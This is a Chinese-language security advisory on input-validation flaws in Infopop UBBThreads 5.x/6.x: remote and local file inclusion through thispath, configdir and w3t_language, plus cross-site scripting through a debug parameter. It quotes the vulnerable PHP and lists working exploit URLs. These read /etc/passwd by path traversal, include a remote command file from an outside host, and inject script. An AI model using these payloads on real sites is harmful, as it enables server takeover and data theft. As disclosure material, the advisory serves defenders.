| 2006-5-31
受影响系统:
Infopop UBBThreads 6.x Infopop UBBThreads 5.x
描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 18152
UBBThreads是一款基于PHP的论坛程序。
UBBThreads对用户请求的处理存在多个输入验证漏洞,远程攻击者可能利用漏洞在服务器上执行任意命令或脚本代码。
UBBThreads的ubbt.inc.php没有正确过滤thispath和configdir,漏洞代码在ubbt.inc.php的23-42行:
23: if (!$configdir) { 24: $configdir = $thispath; 25: } 26: 27: // ------------------------------------------------------------------ 28: // In case register globals are on we need to protect a few variables 29: if ( 30: isset($HTTP_GET_VARS['thispath']) 31: || isset($HTTP_POST_VARS['thispath']) 32: || isset($HTTP_COOKIE_VARS['thispath']) 33: || isset($HTTP_POST_FILES['thispath']) 34: || isset($HTTP_GET_VARS['configdir']) 35: || isset($HTTP_POST_VARS['configdir']) 36: || isset($HTTP_COOKIE_VARS['configdir']) 37: || isset($HTTP_POST_FILES['configdir']) ) 38: { 39: exit; 40: } 41: 42: include("$configdir/config.inc.php");
因此如果打开了register_globals功能的话,远程攻击者就可以通过GLOBALS[thispath]注入任意变量。
在6.x版本的includepollresults.php中还存在另外一个文件包含漏洞。由于没有正确过滤config[cookieprefix]和w3t_language参数,因此远程攻击者可以包含任意内部文件。漏洞代码在includepollresults.php的24行:
24: require ("languages/${$config['cookieprefix']."w3t_language"}/includepollresults.php");
所有页面还存在跨站脚本漏洞。如果QueryString发送了debug参数的话,远程攻击者就可以就可以诱骗用户点击恶意链接,在用户浏览器中执行任意HTML/JS/VBS代码。
<*来源:Mustafa Can Bjorn (nukedx@nukedx.com) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114892732928534&w=2 *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
GET -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS: GET -> http://[site]/[ubbpath]/index.php?debug=[XSS] EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>
建议: -------------------------------------------------------------------------------- 厂商补丁:
Infopop ------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.infopop.com/products/ubbthreads/index.html
|